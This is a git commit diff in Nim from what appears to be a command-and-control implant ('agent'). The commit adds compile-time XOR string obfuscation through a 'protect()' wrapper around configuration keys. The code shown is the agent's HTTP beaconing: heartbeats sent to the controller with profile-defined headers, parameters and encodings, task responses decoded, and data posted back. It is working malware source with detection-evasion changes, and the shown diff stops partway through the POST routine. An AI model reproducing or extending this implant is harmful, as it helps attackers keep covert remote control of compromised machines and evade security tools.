Implemented compile-time string obfuscation via XOR for the agent.

This commit is contained in:
Jakob Friedl
2025-08-26 15:11:43 +02:00
parent dd7433588f
commit 8791faec3f
13 changed files with 166 additions and 232 deletions

View File

@@ -4,36 +4,36 @@ import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
var heartbeatString: string
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
of "base64":
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of "none":
heartbeatString = Bytes.toString(heartbeat)
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString("http-get.endpoints")
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let
prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of "header":
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of "parameter":
let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&"
of "uri":
discard
@@ -43,7 +43,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
discard
# Define additional request parameters
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
endpoint &= fmt"{param}={value.getStringValue()}&"
try:
@@ -56,11 +56,11 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
let
prefix = ctx.profile.getString("http-get.server.output.prefix")
suffix = ctx.profile.getString("http-get.server.output.suffix")
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"):
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
of "base64":
return decode(encResponse)
of "none":
@@ -77,18 +77,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-post.agent.headers"):
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString("http-post.endpoints")
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
let body = Bytes.toString(data)